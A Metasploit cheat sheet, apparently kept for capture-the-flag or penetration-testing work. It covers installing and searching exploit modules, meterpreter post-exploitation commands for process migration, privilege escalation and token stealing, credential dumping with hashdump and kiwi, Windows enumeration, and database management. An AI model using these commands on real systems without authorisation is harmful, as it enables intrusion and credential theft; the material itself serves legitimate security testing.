Metasploit

# Install exploit manually
cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-db
pushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSF
reload
reload_all

### Search
# <type>/<os>/<service>/<name>

# Search for port and name, showing exploits only
search type:exploit platform: port:<PORT> name:<NAME>

# grep
grep meterpreter grep reverse_tcp show payloads

# Set all LHOST to tunnel IP
setg LHOST tun0

sysinfo
getuid
getpid
ipconfig
ps

# Linux flag search
search -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt

# Windows flag search
search -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt

# REMEMBER: for Windows, quoting and double slashes 
cat "C:\\Programs and Files (x86)\\"

# Migrate
ps -s | grep svchost
migrate <PID>

getsystem
getprivs

# List security tokens of user and group
list_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token

# Dumps creds
hashdump  # CrackStation
lsa_dump_sam
lsa_dump_secrets

# Better dump creds
load kiwi
creds_all

# === WINDOWS ===
run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares

# --- Privilege Escalation & Credential Gathering ---
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester

# Check database status from within msfconsole
db_status

# Database Backend Commands
db_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save

# Manage workspaces
workspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>

hosts
loot
notes
services
vulns
creds

# Using database hosts for a module
hosts -R  # set RHOSTS from hosts
services -S <SEARCH>